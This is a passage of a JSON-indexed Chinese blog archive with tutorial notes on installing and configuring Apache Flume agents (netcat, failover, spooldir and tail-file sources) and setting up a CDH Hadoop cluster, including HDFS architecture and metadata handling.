/export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n a1 -c conf -f conf/load_banlancer_server.conf -Dflume.root.logger=DEBUG,console 启动 node01 的 flume 服务 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n a1 -c conf -f conf/load_banlancer_client.conf -Dflume.root.logger=DEBUG,console 第五步：node01 服务器运行脚本产生数据cd /export/servers/shellssh tail-file.sh"},{"title":"","date":"2019-05-10T06:22:00.000Z","updated":"2022-05-12T03:25:00.000Z","comments":true,"path":"notes/Flume/deploy.html","permalink":"https://blog.mhuig.top/notes/Flume/deploy","excerpt":"","text":"安装部署 Flume 的安装部署 案例：使用网络 telent 命令向一台机器发送一些网络数据，然后通过 flume 采集网络端口数据 第一步：下载解压修改配置文件Flume 的安装非常简单，只需要解压即可，当然，前提是已有 hadoop 环境上传安装包到数据源所在节点上这里我们采用在第三台机器来进行安装 tar -zxvf flume-ng-1.6.0-cdh5.14.0.tar.gz -C /export/servers/cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confcp flume-env.sh.template flume-env.shvim flume-env.sh flume-env.shexport JAVA_HOME=/export/servers/jdk1.8.0_141 第二步：开发配置文件根据数据采集的需求配置采集方案，描述在配置文件中 (文件名可任意自定义)配置我们的网络收集的配置文件在 flume 的 conf 目录下新建一个配置文件（采集方案） vim /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/conf/netcat-logger.conf netcat-logger.conf# agent namea1.sources = r1a1.sinks = k1a1.channels = c1# desc source:r1a1.sources.r1.type = netcata1.sources.r1.bind = 192.168.52.120a1.sources.r1.port = 44444# desc sink:k1a1.sinks.k1.type = logger# desc channela1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# desc source channel sinka1.sources.r1.channels = c1a1.sinks.k1.channel = c1 第三步：启动配置文件指定采集方案配置文件，在相应的节点上启动 flume agent先用一个最简单的例子来测试一下程序环境是否正常启动 agent 去采集数据 bin/flume-ng agent -c conf -f conf/netcat-logger.conf -n a1 -Dflume.root.logger=INFO,console -c conf 指定 flume 自身的配置文件所在目录-f conf/netcat-logger.con 指定我们所描述的采集方案-n a1 指定我们这个 agent 的名字 第四步：安装 telent 准备测试在 node02 机器上面安装 telnet 客户端，用于模拟数据的发送 yum -y install telnettelnet node03 44444 # 使用 telnet 模拟数据发送 更多 source 和 sink 组件Flume 支持众多的 source 和 sink 类型，详细在官方文档http://archive.cloudera.com/cdh5/cdh/5/flume-ng-1.6.0-cdh5.14.0/FlumeUserGuide.html"},{"title":"","date":"2019-05-10T06:26:00.000Z","updated":"2022-05-12T05:25:00.000Z","comments":true,"path":"notes/Flume/failover.html","permalink":"https://blog.mhuig.top/notes/Flume/failover","excerpt":"","text":"高可用配置 Flume 高可用配置 角色分配Flume 的 Agent 和 Collector 分布如下表所示： 名称 HOST 角色 Agent1 node01 Web Server Collector1 node02 AgentMstr1 Collector2 node03 AgentMstr2 图中所示，Agent1 数据分别流入到 Collector1 和 Collector2，Flume NG 本身提供了 Failover 机制，可以自动切换和恢复。在上图中，有 3 个产生日志服务器分布在不同的机房，要把所有的日志都收集到一个集群中存储。下 我们开发配置 Flume NG 集群 node01 安装配置 flume 与拷贝文件脚本将 node03 机器上面的 flume 安装包拷贝到 node01 机器上面去 node03 机器执行以下命令 cd /export/serversscp -r apache-flume-1.6.0-cdh5.14.0-bin/ node01:$PWD node01 机器配置 agent 的配置文件 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim agent.conf agent.conf#agent1 nameagent1.channels = c1agent1.sources = r1agent1.sinks = k1 k2###set gruopagent1.sinkgroups = g1###set channelagent1.channels.c1.type = memoryagent1.channels.c1.capacity = 1000agent1.channels.c1.transactionCapacity = 100#agent1.sources.r1.channels = c1agent1.sources.r1.type = execagent1.sources.r1.command = tail -F/export/servers/taillogs/access_log#agent1.sources.r1.interceptors = i1 i2agent1.sources.r1.interceptors.i1.type = staticagent1.sources.r1.interceptors.i1.key = Typeagent1.sources.r1.interceptors.i1.value = LOGINagent1.sources.r1.interceptors.i2.type = timestamp### set sink1agent1.sinks.k1.channel = c1agent1.sinks.k1.type = avroagent1.sinks.k1.hostname = node02agent1.sinks.k1.port = 52020### set sink2agent1.sinks.k2.channel = c1agent1.sinks.k2.type = avroagent1.sinks.k2.hostname = node03agent1.sinks.k2.port = 52020###set sink groupagent1.sinkgroups.g1.sinks = k1 k2###set failoveragent1.sinkgroups.g1.processor.type = failoveragent1.sinkgroups.g1.processor.priority.k1 = 10agent1.sinkgroups.g1.processor.priority.k2 = 1agent1.sinkgroups.g1.processor.maxpenalty = 10000# node02 与 node03 配置 flumecollectionnode02 机器修改配置文件 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim collector.conf collector.conf#set Agent namea1.sources = r1a1.channels = c1a1.sinks = k1###set channela1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100### other node,nna to nnsa1.sources.r1.type = avroa1.sources.r1.bind = node02a1.sources.r1.port = 52020a1.sources.r1.interceptors = i1a1.sources.r1.interceptors.i1.type = statica1.sources.r1.interceptors.i1.key = Collectora1.sources.r1.interceptors.i1.value = node02a1.sources.r1.channels = c1###set sink to hdfsa1.sinks.k1.type=hdfsa1.sinks.k1.hdfs.path= hdfs://node01:8020/flume01/failover/a1.sinks.k1.hdfs.fileType=DataStreama1.sinks.k1.hdfs.writeFormat=TEXTa1.sinks.k1.hdfs.rollInterval=10a1.sinks.k1.channel=c1a1.sinks.k1.hdfs.filePrefix=%Y-%m-%d# node03 机器修改配置文件 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim collector.conf collector.conf#set Agent namea1.sources = r1a1.channels = c1a1.sinks = k1###set channela1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100### other node,nna to nnsa1.sources.r1.type = avroa1.sources.r1.bind = node03a1.sources.r1.port = 52020a1.sources.r1.interceptors = i1a1.sources.r1.interceptors.i1.type = statica1.sources.r1.interceptors.i1.key = Collectora1.sources.r1.interceptors.i1.value = node03a1.sources.r1.channels = c1###set sink to hdfsa1.sinks.k1.type=hdfsa1.sinks.k1.hdfs.path= hdfs://node01:8020/flume01/failover/a1.sinks.k1.hdfs.fileType=DataStreama1.sinks.k1.hdfs.writeFormat=TEXTa1.sinks.k1.hdfs.rollInterval=10a1.sinks.k1.channel=c1a1.sinks.k1.hdfs.filePrefix=%Y-%m-%d 顺序启动命令node03 机器上面启动 flume cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n a1 -c conf -f conf/collector.conf -Dflume.root.logger=DEBUG,console node02 机器上面启动 flume cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n a1 -c conf -f conf/collector.conf -Dflume.root.logger=DEBUG,console node01 机器上面启动 flume cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n agent1 -c conf -f conf/agent.conf -Dflume.root.logger=DEBUG,console node01 机器启动文件产生脚本 mkdir -p /export/servers/shells/mkdir -p /export/servers/taillogscd /export/servers/shells/vim tail-file.sh tail-file.sh#!/bin/bashwhile truedo date &gt;&gt; /export/servers/taillogs/access_log; sleep 0.5;done 启动脚本 sh /export/servers/shells/tail-file.sh tail -f access_log"},{"title":"","date":"2022-05-10T06:21:00.000Z","updated":"2022-05-10T06:21:00.000Z","comments":true,"path":"notes/Flume/index.html","permalink":"https://blog.mhuig.top/notes/Flume/","excerpt":"","text":".fa-secondary{opacity:.4} Flume Flume .prev-next{ display: none !important; }"},{"title":"","date":"2019-05-10T06:21:00.000Z","updated":"2022-05-12T03:15:00.000Z","comments":true,"path":"notes/Flume/overview.html","permalink":"https://blog.mhuig.top/notes/Flume/overview","excerpt":"","text":"Overview Flume 介绍 在一个完整的离线大数据处理系统中，除了 hdfs+mapreduce+hive 组成分析系统的核心之外，还需要数据采集、结果数据导出、任务调度等不可或缺的辅助系统，而这些辅助工具在 hadoop 生态体系中都有便捷的开源框架 日志采集框架 FlumeFlume 是一个分布式、可靠、和高可用的海量日志采集、聚合和传输的系统。 Flume 可以采集文件，socket 数据包、文件、文件夹、kafka 等各种形式源数据，又可以将采集到的数据 (下沉 sink) 输出到 HDFS、hbase、hive、kafka 等众多外部存储系统中 一般的采集需求，通过对 flume 的简单配置即可实现 Flume 针对特殊场景也具备良好的自定义扩展能力，因此，flume 可以适用于大部分的日常数据采集场景 运行机制1、 Flume 分布式系统中最核心的角色是 agent，flume 采集系统就是由一个个 agent 所连接起来形成2、每一个 agent 相当于一个数据传递员，内部有三个组件： a) Source：采集组件，用于跟数据源对接，以获取数据 b) Sink：下沉组件，用于往下一级 agent 传递数据或者往最终存储系统传递数据 c) Channel：传输通道组件，用于从 source 将数据传递到 sink Flume 采集系统结构图简单结构单个 agent 采集数据 复杂结构多级 agent 之间串联"},{"title":"","date":"2019-05-10T06:23:00.000Z","updated":"2022-05-12T03:34:00.000Z","comments":true,"path":"notes/Flume/spooldir.html","permalink":"https://blog.mhuig.top/notes/Flume/spooldir","excerpt":"","text":"监控目录变化 Flume 监控目录变化 需求分析采集需求：某服务器的某特定目录下，会不断产生新的文件，每当有新文件出现，就需要把文件采集到 HDFS 中去 根据需求，首先定义以下 3 大要素数据源组件，即 source —— 监控文件目录 : spooldir下沉组件，即 sink —— HDFS 文件系统 : hdfs sink通道组件，即 channel —— 可用 file channel 也可以用内存 channel spooldir 特性： 1、监视一个目录，只要目录中出现新文件，就会采集文件中的内容 2、采集完成的文件，会被 agent 自动添加一个后缀：COMPLETED 3、所监视的目录中不允许重复出现相同文件名的文件 flume 配置文件开发cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confmkdir -p /export/servers/dirfilevim spooldir.conf spooldir.conf# Name the components on this agenta1.sources = r1a1.sinks = k1a1.channels = c1# Describe/configure the source##name is only onea1.sources.r1.type = spooldira1.sources.r1.spoolDir = /export/servers/dirfilea1.sources.r1.fileHeader = true# Describe the sinka1.sinks.k1.type = hdfsa1.sinks.k1.channel = c1a1.sinks.k1.hdfs.path =hdfs://node01:8020/spooldir/files/%y-%m-%d/%H%M/a1.sinks.k1.hdfs.filePrefix = eventsa1.sinks.k1.hdfs.round = truea1.sinks.k1.hdfs.roundValue = 10a1.sinks.k1.hdfs.roundUnit = minutea1.sinks.k1.hdfs.rollInterval = 3a1.sinks.k1.hdfs.rollSize = 20a1.sinks.k1.hdfs.rollCount = 5a1.sinks.k1.hdfs.batchSize = 1a1.sinks.k1.hdfs.useLocalTimeStamp = true#gen filestyle,default Sequencefile,use DataStream texta1.sinks.k1.hdfs.fileType = DataStream# Use a channel which buffers events in memorya1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# Bind the source and sink to the channela1.sources.r1.channels = c1a1.sinks.k1.channel = c1 Channel 参数解释：capacity：默认该通道中最大的可以存储的 event 数量trasactionCapacity：每次最大可以从 source 中拿到或者送到 sink 中的 event 数量keep-alive：event 添加到通道中或者移出的允许时间 启动 flumebin/flume-ng agent -c ./conf -f ./conf/spooldir.conf -n a1 -Dflume.root.logger=INFO,console 上传文件到指定目录将不同的文件上传到下面目录里面去，注意文件不能重名 cd /export/servers/dirfile"},{"title":"","date":"2019-05-10T06:24:00.000Z","updated":"2022-05-12T03:41:00.000Z","comments":true,"path":"notes/Flume/tail-file.html","permalink":"https://blog.mhuig.top/notes/Flume/tail-file","excerpt":"","text":"监控文件变化 Flume 监控文件变化 需求分析采集需求：比如业务系统使用 log4j 生成的日志，日志内容不断增加，需要把追加到日志文件中的数据实时采集到 hdfs 根据需求，首先定义以下 3 大要素 采集源，即 source—— 监控文件内容更新 : exec 'tail -F file' 下沉目标，即 sink——HDFS 文件系统 : hdfs sink Source 和 sink 之间的传递通道 ——channel，可用 file channel 也可以用 内存 channel 定义 flume 的配置文件node03 开发配置文件 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim tail-file.conf tail-file.confagent1.sources = source1agent1.sinks = sink1agent1.channels = channel1# Describe/configure tail -F source1agent1.sources.source1.type = execagent1.sources.source1.command = tail -F /export/servers/taillogs/access_logagent1.sources.source1.channels = channel1#configure host for source#agent1.sources.source1.interceptors = i1#agent1.sources.source1.interceptors.i1.type = host#agent1.sources.source1.interceptors.i1.hostHeader = hostname# Describe sink1agent1.sinks.sink1.type = hdfs#agent1.sinks.sink1.channel = channel1agent1.sinks.sink1.hdfs.path = hdfs://192.168.52.100:8020/weblog/flumecollection/%y-%m-%d/%H-%Magent1.sinks.sink1.hdfs.filePrefix = access_logagent1.sinks.sink1.hdfs.maxOpenFiles = 5000agent1.sinks.sink1.hdfs.batchSize= 100agent1.sinks.sink1.hdfs.fileType = DataStreamagent1.sinks.sink1.hdfs.writeFormat =Textagent1.sinks.sink1.hdfs.rollSize = 102400agent1.sinks.sink1.hdfs.rollCount = 1000000agent1.sinks.sink1.hdfs.rollInterval = 60agent1.sinks.sink1.hdfs.round = trueagent1.sinks.sink1.hdfs.roundValue = 10agent1.sinks.sink1.hdfs.roundUnit = minuteagent1.sinks.sink1.hdfs.useLocalTimeStamp = true# Use a channel which buffers events in memoryagent1.channels.channel1.type = memoryagent1.channels.channel1.keep-alive = 120agent1.channels.channel1.capacity = 500000agent1.channels.channel1.transactionCapacity = 600# Bind the source and sink to the channelagent1.sources.source1.channels = channel1agent1.sinks.sink1.channel = channel1 创建文件夹mkdir -p /export/servers/taillogs 启动 flumecd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -c conf -f conf/tail-file.conf -n agent1 -Dflume.root.logger=INFO,console 开发 shell 脚本定时追加文件内容mkdir -p /export/servers/shells/cd /export/servers/shells/vim tail-file.sh tail-file.sh#!/bin/bashwhile truedo date &gt;&gt; /export/servers/taillogs/access_log; sleep 0.5;done 启动脚本sh /export/servers/shells/tail-file.shtail -f access_log"},{"title":"","date":"2019-09-19T08:37:00.000Z","updated":"2022-05-11T08:17:00.000Z","comments":true,"path":"notes/Hadoop/cdh.html","permalink":"https://blog.mhuig.top/notes/Hadoop/cdh","excerpt":"","text":"CDH 伪分布式 大数据处理技术 - CDH 伪分布式环境搭建 CDH 伪分布式环境搭建（适用于学习测试开发集群模式） 集群运行服务规划 服务器 IP 192.168.52.100 192.168.52.110 192.168.52.120 HDFS NameNode Secondary NameNode DataNode DataNode DataNode YARN ResourceManager NodeManager NodeManager NodeManager MapReduce JobHistoryServer cdh 所有软件下载地址：http://archive.cloudera.com/cdh5/cdh/5/ 上传压缩包并解压将我们重新编译之后支持 snappy 压缩的 hadoop 包上传到第一台服务器并解压第一台机器执行以下命令 cd /export/softwares/ mv hadoop-2.6.0-cdh5.14.0-compile.tar.gz hadoop-2.6.0-cdh5.14.0.tar.gz tar -zxvf hadoop-2.6.0-cdh5.14.0.tar.gz -C ../servers/ 查看 hadoop 支持的压缩方式以及本地库第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0bin/hadoop checknative 如果出现 openssl（安全通信）为 false，那么所有机器在线安装 openssl 即可，执行以下命令，虚拟机联网之后就可以在线进行安装了 yum -y install openssl-devel 修改配置文件修改 core-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim core-site.xml core-site.xml&lt;configuration&gt; &lt;property&gt; &lt;name&gt;fs.defaultFS&lt;/name&gt; &lt;value&gt;hdfs://node01:8020&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;hadoop.tmp.dir&lt;/name&gt; &lt;value&gt;/export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/tempDatas&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;io.file.buffer.size&lt;/name&gt; &lt;value&gt;4096&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;fs.trash.interval&lt;/name&gt; &lt;value&gt;10080&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 hdfs-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim hdfs-site.xml hdfs-site.xml&lt;configuration&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.secondary.http-address&lt;/name&gt; &lt;value&gt;node01:50090&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.http-address&lt;/name&gt; &lt;value&gt;node01:50070&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.name.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/namenodeDatas&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.datanode.data.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/datanodeDatas&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.edits.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/edits&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.checkpoint.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/snn/name&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.checkpoint.edits.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/snn/edits&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.replication&lt;/name&gt; &lt;value&gt;3&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.permissions&lt;/name&gt; &lt;value&gt;false&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.blocksize&lt;/name&gt; &lt;value&gt;134217728&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 hadoop-env.sh第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim hadoop-env.sh hadoop-env.shexport JAVA_HOME=/export/servers/jdk1.8.0_141 修改 mapred-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim mapred-site.xml mapred-site.xml&lt;configuration&gt; &lt;property&gt; &lt;name&gt;mapreduce.framework.name&lt;/name&gt; &lt;value&gt;yarn&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;mapreduce.job.ubertask.enable&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;mapreduce.jobhistory.address&lt;/name&gt; &lt;value&gt;node01:10020&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;mapreduce.jobhistory.webapp.address&lt;/name&gt; &lt;value&gt;node01:19888&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 yarn-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim yarn-site.xml yarn-site.xml&lt;configuration&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.hostname&lt;/name&gt; &lt;value&gt;node01&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.aux-services&lt;/name&gt; &lt;value&gt;mapreduce_shuffle&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.log-aggregation-enable&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.log-aggregation.retain-seconds&lt;/name&gt; &lt;value&gt;604800&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 slaves 文件第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim slaves slavesnode01node02node03 创建文件存放目录第一台机器执行以下命令node01 机器上面创建以下目录 mkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/tempDatasmkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/namenodeDatasmkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/datanodeDatasmkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/editsmkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/snn/namemkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/snn/edits 安装包的分发第一台机器执行以下命令 cd /export/servers/scp -r hadoop-2.6.0-cdh5.14.0/ node02:$PWDscp -r hadoop-2.6.0-cdh5.14.0/ node03:$PWD 配置 hadoop 的环境变量三台机器都要进行配置 hadoop 的环境变量三台机器执行以下命令 vim /etc/profile /etc/profileexport HADOOP_HOME=/export/servers/hadoop-2.6.0-cdh5.14.0export PATH=:$HADOOP_HOME/bin:$HADOOP_HOME/sbin:$PATH 配置完成之后生效 source /etc/profile 集群启动要启动 Hadoop 集群，需要启动 HDFS 和 YARN 两个集群。注意：首次启动 HDFS 时，必须对其进行格式化操作。本质上是一些清理和准备工作，因为此时的 HDFS 在物理上还是不存在的。 bin/hdfs namenode -format 脚本一键启动如果配置了 etc/hadoop/slaves 和 ssh 免密登录，则可以使用程序脚本启动所有 Hadoop 两个集群的相关进程，在主节点所设定的机器上执行。启动集群node01 节点上执行以下命令第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/sbin/start-dfs.shsbin/start-yarn.shsbin/mr-jobhistory-daemon.sh start historyserver 停止集群 没事儿不要去停止集群 sbin/stop-dfs.shsbin/stop-yarn.shsbin/mr-jobhistory-daemon.sh stop historyserver 浏览器查看启动页面hdfs 集群访问地址http://192.168.52.100:50070/dfshealth.html#tab-overview yarn 集群访问地址http://192.168.52.100:8088/cluster jobhistory 访问地址：http://192.168.52.100:19888/jobhistory"},{"title":"","date":"2019-09-19T08:34:00.000Z","updated":"2022-05-11T02:15:00.000Z","comments":true,"path":"notes/Hadoop/first-experience.html","permalink":"https://blog.mhuig.top/notes/Hadoop/first-experience","excerpt":"","text":"Hadoop 集群初体验 大数据处理技术 - Hadoop 集群初体验 HDFS 使用体验从 Linux 本地上传一个文本文件到 hdfs 的 /test/input 目录下递归的创建文件夹： hdfs dfs -mkdir -p /test/inputhdfs dfs -ls / 分布式文件系统来源于本地磁盘 hdfs dfs -put /root/install.log /test/input MapReduce 程序初体验在 Hadoop 安装包的 hadoop-2.6.0-cdh5.14.0/share/hadoop/mapreduce 下 有 官 方 自 带 的 MapReduce 程序。我们可以使用如下的命令进行运行测试。示例程序 jar: hadoop-mapreduce-examples-2.6.0-cdh5.14.0.jar 计算圆周率: hadoop jar /export/servers/hadoop-2.6.0-cdh5.14.0/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.6.0-cdh5.14.0.jar pi 2 5 关于圆周率的估算，感兴趣的可以查询资料 Monte Carlo 方法来计算 Pi 值。 底层日志线程异常，不用管！"},{"title":"","date":"2019-09-19T08:36:00.000Z","updated":"2022-05-11T02:50:00.000Z","comments":true,"path":"notes/Hadoop/hdfs-arch.html","permalink":"https://blog.mhuig.top/notes/Hadoop/hdfs-arch","excerpt":"","text":"HDFS 架构 大数据处理技术 - HDFS 的架构 基础架构 1、 NameNode 是一个中心服务器，单一节点（简化系统的设计和实现），负责管理文件系统的名字空间 namespace 以及客户端对文件的访问2、 文件操作，namenode 是负责文件元数据的操作，datanode 负责处理文件内容的读写请求，跟文件内容相关的数据流不经过 Namenode，只询问它跟哪个 dataNode 联系，否则 NameNode 会成为系统的瓶颈3、 副本存放在哪些 Datanode 上由 NameNode 来控制，根据全局情况作出块放置决定，读取文件时 NameNode 尽量让用户先读取最近的副本（网络拓扑图），降低读取网络开销和读取延时4、 NameNode 全权管理数据库的复制（永远保证有三个副本），它周期性的从集群中的每个 DataNode 接收心跳信合和状态报告，接收到心跳信号意味着 DataNode 节点工作正常，块状态报告包含了一个该 DataNode 上所有的数据列表 NameNode 与 Datanode 的总结概述 NameNode Datanode 存储元数据 存储文件内容 元数据存储在 内存中 文件内容存储在硬盘上 保存文件、block、DataNode 之间的映射关系 维护了 block id 到 DataNode 本地文件之间的映射关系 文件划了几个 block 块，存在那些个 DataNode 上 文件的文件副本机制以及 block 块存储 所有的文件都是以 block 块的方式存放在 HDFS 文件系统当中，在 hadoop1 当中，文件的 block 块默认大小是 64M，hadoop2 当中，文件的 block 块大小默认是 128M，block 块的大小可以通过 hdfs-site.xml 当中的配置文件进行指定 &lt;property&gt; &lt;name&gt;dfs.block.size&lt;/name&gt; &lt;value&gt;块大小 以字节为单位&lt;/value&gt; &lt;!-- 只写数值就可以 --&gt;&lt;/property&gt; 元数据信息 FSimage 以及 edits 和 secondaryNN 的作用在 hadoop 当中，使用如下架构的时候 也就是 namenode 就一个的时候，所有的元数据信息都保存在了 FsImage 与 Eidts 文件当中，这两个文件就记录了所有的数据的元数据信息，元数据信息的保存目录配置在了 hdfs-site.xml 当中 &lt;property&gt; &lt;name&gt;dfs.namenode.name.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/namenodeDatas&lt;/value&gt;&lt;/property&gt;&lt;property&gt; &lt;name&gt;dfs.namenode.edits.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/edits&lt;/value&gt;&lt;/property&gt; FSImage 与 edits 详解客户端对 hdfs 进行写文件时会首先被记录在 edits 文件中。edits 修改时元数据也会更新。每次 hdfs 更新时 edits 先更新后客户端才会看到最新信息。 fsimage: 是 namenode 中关于元数据的镜像，一般称为检查点。 一般开始时对 namenode 的操作都放在 edits 中，为什么不放在 fsimage 中呢？因为 fsimage 是 namenode 的完整的镜像，内容很大，如果每次都加载到内存的话生成树状拓扑结构，这是非常耗内存和 CPU。 fsimage 内容包含了 namenode 管理下的所有 datanode 中文件及文件 block 及 block 所在的 datanode 的元数据信息。随着 edits 内容增大，就需要在一定时间点和 fsimage 合并。 合并过程见 SecondaryNameNode 如何辅助管理 FSImage 与 edits FSimage 文件当中的文件信息查看官方查看文档https://hadoop.apache.org/docs/r2.6.0/hadoop-project-dist/hadoop-hdfs/HdfsImageViewer.html 使用命令 hdfs oiv cd /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/namenodeDatas/currenthdfs oiv -i fsimage_0000000000000000150 -p XML -o qlg.xml （md5 校验文件，不是真正文件） edits 当中的文件信息查看官方查看文档https://hadoop.apache.org/docs/r2.6.0/hadoop-project-dist/hadoop-hdfs/HdfsEditsViewer.html 查看命令 hdfs oev cd /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/editshdfs oev -i edits_inprogress_0000000000000000001 -o slg.xml -p XML secondarynameNode 如何辅助管理 FSImage 与 Edits 文件 1: secnonaryNN 通知 NameNode 切换 editlog 2: secondaryNN 从 NameNode 中获得 FSImage 和 editlog (通过 http 方式) 3: secondaryNN 将 FSImage 载入内存，然后开始合并 editlog，合并之后成为新的 fsimage 4: secondaryNN 将新的 fsimage 发回给 NameNode 5: NameNode 用新的 fsimage 替换旧的 fsimage 完成合并的是 secondarynamenode，会请求 namenode 停止使用 edits, 暂时将新写操作放入一个新的文件中 edits.new。secondarynamenode 从 namenode 中通过 http get 获得 edits，因为要和 fsimage 合并，所以也是通过 http get 的方式把 fsimage 加载到内存，然后逐一执行具体对文件系统的操作，与 fsimage 合并，生成新的 fsimage，然后把 fsimage 发送给 namenode，通过 http post 的方式。namenode 从 secondarynamenode 获得了 fsimage 后会把原有的 fsimage 替换为新的 fsimage, 把 edits.new 变成 edits。同时会更新 fstime。hadoop 进入安全模式时需要管理员使用 dfsadmin 的 save namespace 来创建新的检查点。secondarynamenode 在合并 edits 和 fsimage 时需要消耗的内存和 namenode 差不多，所以一般把 namenode 和 secondarynamenode 放在不同的机器上。fs.checkpoint.period: 默认是一个小时（3600s)fs.checkpoint.size: edits 达到一定大小时也会触发合并（默认 64MB) HDFS 的文件写入过程 详细步骤解析： 1、 client 发起文件上传请求，通过 RPC 与 NameNode 建立通讯，NameNode 检查目标文件是否已存在，父目录是否存在，返回是否可以上传； 2、 client 请求第一个 block 该传输到哪些 DataNode 服务器上； 3、 NameNode 根据配置文件中指定的备份数量及机架感知原理进行文件分配，返回可用的 DataNode 的地址如：A，B，C；注：Hadoop 在设计时考虑到数据的安全与高效，数据文件默认在 HDFS 上存放三份，存储策略为本地一份，同机架内其它某一节点上一份，不同机架的某一节点上一份。 4、 client 请求 3 台 DataNode 中的一台 A 上传数据（本质上是一个 RPC 调用，建立 pipeline），A 收到请求会继续调用 B，然后 B 调用 C，将整个 pipeline 建立完成，后逐级返回 client； 5、 client 开始往 A 上传第一个 block（先从磁盘读取数据放到一个本地内存缓存），以 packet 为单位（默认 64K），A 收到一个 packet 就会传给 B，B 传给 C；A 每传一个 packet 会放入一个应答队列等待应答。 6、 数据被分割成一个个 packet 数据包在 pipeline 上依次传输，在 pipeline 反方向上，逐个发送 ack（命令正确应答），最终由 pipeline 中第一个 DataNode 节点 A 将 pipelineack 发送给 client; 7、 当一个 block 传输完成之后，client 再次请求 NameNode 上传第二个 block 到服务器。 HDFS 的文件读取过程 详细步骤解析 1、 Client 向 NameNode 发起 RPC 请求，来确定请求文件 block 所在的位置； 2、NameNode 会视情况返回文件的部分或者全部 block 列表，对于每个 block，NameNode 都会返回含有该 block 副本的 DataNode 地址； 这些返回的 DN 